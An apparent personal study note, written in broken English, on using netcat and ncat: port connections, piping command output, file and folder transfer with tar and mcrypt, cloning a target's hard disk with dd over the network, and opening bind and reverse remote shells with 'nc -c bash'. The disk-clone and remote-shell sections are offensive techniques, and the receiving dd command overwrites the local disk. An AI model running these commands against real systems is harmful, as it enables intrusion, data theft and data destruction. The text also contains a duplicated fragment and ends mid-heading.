netcat
哈哈,最近在猛学英语,使用英语记录一下nccat的使用
Connect the destination port of computer
nc -nv 172.16.3.22 8080
Listen the port
nc -lv 8080
Command the connection computer
ls -la | nc -nv 172.16.3.22 333
and similary the computer : nc -lv 333
Conserve the consequence of command
nc -lv 333 > result.txt
if you instant to finish this connection after fulfill this command ,using the parment “-q {number}” to disconnetc the connection after “number” seconds
ls -la | nc -nv 172.16.3.22 333 -q 1
Transport file
forward direction
send:
nc -nv 172.16.3.22 333 < a.py -q 1
receive:
nc -lv 333 > a.py
reverse direction
send :
nc -nv 172.16.3.22 333 > a.py
receive :
nc -lv 333 < a.py -q 1
Transmit floder
using the tar to pack the files
send : tar -cvf - files | nc -lv 333 -q 1
receive : nc -nv 172.16.3.22 333 | tar -xvf -
encryp the transport
symmetric algorithms
recive : nc -lv 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > a.py
send : mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.py | nc -nv 172.16.3.22 333 -q 1
nd : mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.py | nc -nv 172.16.3.22 333 -q 1
Clone the hard disk of the target
Through we instant to take the all information of the target computer that is no injurious for the computer
we can use the tool “nc” to clone the target disk
following the command
target :
dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1
recive :
nc -lv 333 | dd of=/dev/sda
Bash
we also use the “nc” to control the computer remotely
foward direcation
send :
nc -lv 333 -c bash
recive :
nc -nv 172.16.3.22 333
reverse direction
simpely we also use the reverse direction to control it
send :
nc -lv 333
recive :
nc -nv 172.16.3.22 -c bash
encrypt use the ncat
forward we use the nc to transmit the date with the mycrypt to protect the date
ncat itself carry the ssl to encrypt the date ,so we can directly employ the ncat to protect it
following the command:
send :
ncat -c bash --allow 172.16.3.33 -vnl 333 -ssl
recive :
ncat -nv 172.16.3.22 333 -ssl
the recommend of parameters